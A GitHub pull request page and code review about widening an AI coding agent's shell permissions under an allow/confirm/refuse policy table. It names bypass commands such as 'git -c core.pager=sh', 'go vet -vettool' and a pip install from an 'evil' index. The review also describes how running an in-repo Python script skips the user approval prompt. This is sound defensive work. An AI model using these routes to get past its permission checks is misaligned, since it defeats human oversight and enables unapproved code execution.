-
Notifications
You must be signed in to change notification settings - Fork 162
feat(skills): widen the shell grant to the build, test, and land loop - #3390
feat(skills): widen the shell grant to the build, test, and land loop #3390kovtcharov-amd wants to merge 2 commits into
Conversation
Running the unit suite could pop a Google OAuth consent screen on the developer's desktop, mid-run, with a dummy client id — so the window that stole focus was also an "Access blocked: invalid_client" error. connectors.flow.start_authorization launches the browser from a fire-and-forget asyncio.ensure_future task that resolves webbrowser.open when it runs, which can be after the test that patched it has finished and monkeypatch has restored the real function. Every connector test does patch the launcher; the patch just isn't guaranteed to still be in place at launch time, which is why the popup was intermittent. Blocking the launchers for the whole session closes the race from the other side: a per-test patch now restores to the stub, never to the real function.
The coding agent could read a repo and run pytest, and that was the end of it — no way to run the project's own lint script, no way to make a commit, no way to open a pull request. It drafted the change and handed the last mile back to the user. BINARY_POLICIES had two entries. Twelve now: git, python/python3, npm, go, uv, pip, black, isort, ruff join gh and pytest, and `gh pr create` moves to CONFIRM. The three tiers hold their shape. Reads run unprompted, writes show the user the exact command first, and the escalation classes never run at all: no push, no reset --hard, no rebase, no commit --amend, no config, no install from a URL, no `npm install <package>`, no `go run`. Four mechanisms answer the bypass class this table exists for — an allowed binary that executes a different one: - Leading flags are refused unless declared, which is what puts `git -c core.pager=sh`, `--git-dir`, `--exec-path` and `pip -i` out of reach before a subcommand is read. - Flags are an ALLOWLIST for go, npm, pip and uv. `go vet -vettool=./x` runs ./x and is neither -exec nor -toolexec; npm accepts any config key as a flag. A denylist over that surface is a guess, so those four fail closed. git keeps a denylist deliberately — its exec surface is leading-flag-shaped and already owned, while an allowlist over `git log`'s flags would refuse ordinary reads constantly. - `python -m pytest` is re-classified against pytest's own rule, so -m is not a way around one. `-c` is refused outright: code from the command line is in no file anyone reviewed and can reach past every other entry here. - An operand or flag value naming a URL is refused where a package name is confirmable, including PEP 508's `pkg @ https://...`. `make` gets no entry, and that is the decision rather than an omission: its argument is a target in a file the agent can write, so no prompt text can honestly describe what `make test` runs. git also moves out of the shell tool's whitelist and into the policy table, carrying its old read-only floor as `BinaryPolicy.ungranted` so an agent with no skill loaded behaves as before. Two holes close on the way: the old whitelist matched on the subcommand alone, so `git branch -D main` and `git remote add` ran unprompted.
Skill audit
✅ All audited skills cleared the tier they claim. Per-finding detail is withheld here on purpose. Read it in the Security > Code scanning tab, or download the |
Request changes
This widens the coding agent's shell grant from "read + pytest" to the full build/test/land loop — git, python, pip/uv, npm, go, and the formatters — with a three-tier ALLOW/CONFIRM/REFUSE table behind each one. The policy work itself is careful and unusually well tested; two things need a decision before it lands.
🔒 SECURITY CONCERN: running a Python file from the checkout is exempted from the approval prompt, on a premise that isn't true. @kovtcharov-amd
The new python grant treats "run a script that's already in the repo" as unprompted, and the reason given — in the code, and in this PR's description — is that GAIA's own "run a Python file" tool is ungated. It isn't: that tool has always required user confirmation, and its comment in the base agent says why. So with the coding skill loaded, the agent can execute an arbitrary program in the checkout with nobody asked, while asking permission to write that same file a moment earlier. That inverts the intended order, and it makes the rest of the table reachable indirectly — everything the policy refuses can be spelled inside a script. The same premise is what justifies the formatters rewriting files unprompted.
This may still be the decision you want, but it should be made explicitly rather than inherited from an incorrect claim. The narrow fix is to put python <script> at CONFIRM; the alternative is to keep it and correct the rationale everywhere it appears.
The skill grants python but not python3. On most Linux and macOS setups python isn't on PATH at all, so the loop this PR is built for silently fails for those users on the very first command. The policy table covers both names — only the skill's declaration is missing one.
Docs still say the opposite of the new behaviour. Two places describe git as a binary GAIA has no policy for and therefore cannot grant, one of them as a prominent warning with a worked example — the exact claim this PR reverses, and which your own evidence bundle shows reversed. The shell-tool spec page also still reproduces the git-whitelist branch that this PR deletes.
Real-world evidence
evidence-bundle.md is present and covers the CLI surface on a no-inference runner. The migrator now accepts a skill that shells out to git and still refuses one that needs docker:
$ gaia skill migrate /tmp/ev/src/git-status --from openclaw --out /tmp/ev/out ✅ git-status (openclaw → gaia) permissions : shell:execute:git Migrated 1/1 skill(s) to GAIA format. exit=0
$ gaia skill migrate /tmp/ev/src/docker-ps --from openclaw --out /tmp/ev/out ❌ docker-ps (unmigratable) ✗ ... GAIA ships no command policy for 'docker' ... Declarable binaries: black, gh, git, go, isort, npm, pip, pytest, python, python3, ruff, uv. exit=4
gaia skill audit hub/skills/coding reports ALLOW ✅ coding 0.2.0 with the three grants, and gaia skill info coding renders them after an import round-trip. The browser-guard test file passes (4 passed).
The bundle marks one surface deferred: the agent-side gate in shell_tools.py — the code that actually decides ALLOW vs CONFIRM vs REFUSE at runtime — has no CLI, HTTP, or MCP entry point and needs a live model turn, so it is pending the strix-halo lane. That is the surface both blocking findings live on, so my verdict there rests on static review plus the unit table, not on an exercised run. Worth getting a live agent turn on it before merge, given what the grant now covers.
🔍 Technical details
🔴 Critical
1. python <script.py> skips the confirmation modal (src/gaia/skills/binaries.py:1540-1596, comment at :698-706)
The rationale comment says running an in-checkout Python file "is exactly what the ungated execute_python_file tool does". execute_python_file is in TOOLS_REQUIRING_CONFIRMATION (src/gaia/agents/base/agent.py:203), with the comment "arbitrary code execution, and unlike run_shell_command there is no read-only allowlist behind it." The same false premise appears on the pre-existing pytest entry (:1241-1247, :1263) and in _formatter's docstring (:1376-1380).
The chain that makes it unprompted:
classify_invocation→_classify_positional_invocation→script_args→_classify_script_arguments→_ALLOWED(pinned by your own table:("python util/lint.py --all --fix", ALLOW)).validate_invocationreturnsNonefor ALLOW.ShellToolsMixin.skill_grant_covers_call(shell_tools.py:436) therefore returnsTrue.Agent._tool_requires_confirmation(agent.py:3283-3284) returnsnot _call_is_pre_authorized(...)→False. No modal.
Net: run_shell_command("python anything_in_the_repo.py") executes unasked under shell:execute:python, while write_file, edit_file and execute_python_file all prompt. Every REFUSE in BINARY_POLICIES (git push, pip install <url>, make, go run) is expressible inside such a script. black/isort/ruff --fix inherit the same reasoning and rewrite files in the checkout unprompted.
Options, in order of how little they cost:
- Give
python's positional ruleconfirm=True— it lands at CONFIRM, the agent still runs the lint/build loop, the user sees the exact command.pytestcan stay ALLOW on its narrower "runs the declared test suite" argument. - Or keep ALLOW as a deliberate product call and correct the premise in
:698-706,:1241-1247,:1263,:1376-1380and the PR description — and say plainly inhub/skills/coding/SKILL.mdthatpython <file>runs without asking, which the current "Committing: yours to propose" framing implies it does not.
🟡 Important
2. hub/skills/coding/SKILL.md:10-12 grants python but not python3
- shell:execute:pytest
- shell:execute:python
- shell:execute:python3
- shell:execute:git
normalize_binary is exact-match (binaries.py:2026-2029), and BINARY_POLICIES has separate python / python3 entries, so python3 x.py under this skill hits classify_ungranted_invocation → empty ungranted → REFUSE. TIERS pins ("python3 scripts/repro.py", ALLOW) at the policy layer, which hides the fact that no shipped skill can reach it. (If finding 1 lands as CONFIRM, this stays valid either way.)
3. Docs contradict the new git policy
docs/plans/skill-format.mdx:1109-1118— a<Warning>stating "bins: [git]maps toshell:execute:git, andgithas no entry inBINARY_POLICIES...gaia skill migratereportsgit-statusas unmigratable". Directly reversed by this PR, and by §1 of the evidence bundle.docs/plans/skill-format.mdx:840-845— "the migratedgit-status(6) declaresshell:execute:git— a binary with no entry inBINARY_POLICIES".docs/plans/skill-format.mdx:751— the migration table row usesgitas the refused example.docs/spec/shell-tools-mixin.mdx:227,243-254,395-403— still lists"git"inALLOWED_COMMANDSand reproduces theSAFE_GIT_COMMANDSbranch this PR deletes.
This is the same staleness you fixed in tests/unit/test_skills_migrate.py by moving the fixture off git — the doc those fixtures were derived from didn't move with it. docker works as the replacement example in all four places.
🟢 Minor
4. binaries.py:2188 — the unknown-subcommand refusal loses its write-tier sentence for npm and pip
has_writes = any(r.confirm_actions for r in policy.subcommands.values()) predates the new confirm flag, so a policy whose writes all use confirm reads as write-free. npm publish and pip uninstall refusals drop the "reads run straight through, and the few writes among them ask you first" clause.
has_writes = any(
r.confirm or r.confirm_actions for r in policy.subcommands.values()
)
5. binaries.py:562 — -O is over-denied on git diff/git log with the wrong reason
-O is --open-files-in-pager for git grep, but -O<orderfile> for git diff/git log, where it just orders the hunks. The shared _GIT_READ_DENIED_FLAGS refuses the harmless spelling and tells the user it "launches the program you name as a pager", which isn't what happened. Moving -O onto the grep rule only would fix both.
6. Scope — the browser-guard change is unrelated and unmentioned
tests/conftest.py and tests/unit/test_no_real_browser_launch.py fix a test-suite issue with connectors.flow, not the shell grant, and the PR description doesn't mention them. Fine to keep if deliberate, but a reviewer reading the description won't know to look at them.
Strengths
- The threat model is stated where it's enforced, not just in the PR.
Subcommand.strict_flags' docstring explains whygo/npm/pip/uvfail closed whilegitkeeps a denylist, andtest_git_keeps_a_denylist_and_that_is_the_decisionpins the exception so nobody "fixes" it later. test_every_new_binary_is_pinned_at_all_three_tiersis a real tripwire rather than a restatement of the table — a binary added with only its happy path fails. Same fortest_every_delegated_module_is_itself_policedandtest_only_git_has_an_ungranted_floor.BinaryPolicy.ungrantedplustest_the_ungranted_floor_is_a_subset_of_the_policyis the right shape for the migration: one table describesgit, the old floor is a view of it, and moving it closed two live holes (git branch -D,git remote addran unprompted before).test_the_allowlists_do_not_refuse_a_real_ci_lineis the test most projects skip — an allowlist that blocksuv sync --frozenornpm ci --omit=devis one people route around.remote_operandsnarrowing the path-scan skip from "any granted binary" to "gh only" fixes a latent hole the moment a local CLI was granted.
Before: the coding agent could read a repository and run
pytest, and that was the endof it. It could not run the project's own lint script, could not make a commit, and could
not open a pull request — it drafted the change and handed the last mile back to you.
After: it runs the build, runs the tests, stages and commits behind a per-command
approval, and opens the PR.
BINARY_POLICIEShad two entries; it has twelve.The three tiers keep their shape. Reads run unprompted; writes show you the exact command
first; the escalation classes never run at all — no
push, noreset --hard, norebase, nocommit --amend, nogit config, no install from a URL, nonpm install <package>, nogo run. Pushing stays out of reach on purpose: theagent commits and tells you the
git pushline to run, then opens the PR.🔍 The bypass class, and the four things that answer it
Almost every CLI worth granting can be talked into running a different program. An
entry that lists subcommands and stops has granted the shell under a narrower name
(CWE-184).
git -c core.pager=sh,-c diff.external=sh,--git-dir,--exec-path,-Candpip -iout of reach before a subcommand is even read — the single most load-bearing property
of the git entry.
go,npm,pip,uv.go vet -vettool=./xexecutes./xand is neither-execnor-toolexec; npm accepts any of its config keys as aflag. A denylist over that surface is a guess, so those four fail closed.
gitkeeps adenylist deliberately — rationale in
_git_read's docstring, pinned by a test.delegate_flag:python -m pytest --pdbis re-classified against pytest's ownrule and refused for the reason
pytest --pdbis.python -cis refused outright —code from the command line is in no file anyone reviewed and can reach past every other
entry in the table.
denied_operand_prefixes: a package name is a write one line of prompt candescribe; a URL is fetch-and-run. Matched anywhere in the token, so PEP 508's
pip install pkg @ https://...is caught too.makegets no entry, and that is the decision rather than an omission: its argument is atarget in a file the agent can write, so
make testmeans "run whatever the Makefilesays" and no prompt text describes it honestly.
hub/skills/coding/SKILL.mdsays so.gitalso moves out of the shell tool'sALLOWED_COMMANDS/SAFE_GIT_COMMANDSand intothe policy table, carrying its old read-only floor as
BinaryPolicy.ungranted— an agentwith no skill loaded behaves exactly as before. Two holes close on the way: the old
whitelist matched on the subcommand alone, so
git branch -D mainandgit remote addran unprompted.
Two
code-reviewerpasses found nine then six issues, including one unprompted RCE(
go vet -vettool, verified by execution) and one index-substitution(
pip install -fhttps://evil/simple). All are fixed and each has a named regression test.What a user might expect to work and will not
git push— REFUSE. The agent commits and tells you the line to run.git reset,git rebase,git commit --amend,git config,git stash drop— REFUSE.Use
git restore --staged(CONFIRM) to unstage.pip uninstall,uv add,npm install <package>,go install— REFUSE. Add thedependency to the manifest and install from there.
make— no policy, by design.python -c— REFUSE. Write the file, then run the file.Test plan
PYTHONPATH=$(pwd)/src python -m pytest tests/unit/test_skill_binary_grants.py -q— 3 tiers ×ばつ 12 binaries, ~40 named bypass attempts, and the CI lines that must
not refuse (
npm ci --omit=dev,uv sync --frozen,go test -coverprofile=cover.out).PYTHONPATH=$(pwd)/src python -m pytest tests/unit/test_shell_guardrails.py tests/unit/test_skills_migrate.py tests/unit/test_starter_skills.py -q— the ungranted floor is unchanged and the coding skill still loads.
python util/lint.py --allgaia chatand confirm:git statusruns unprompted,git commit -m xraises the approval prompt showing the exact command, andgit pushis refused with a message naming what to run yourself.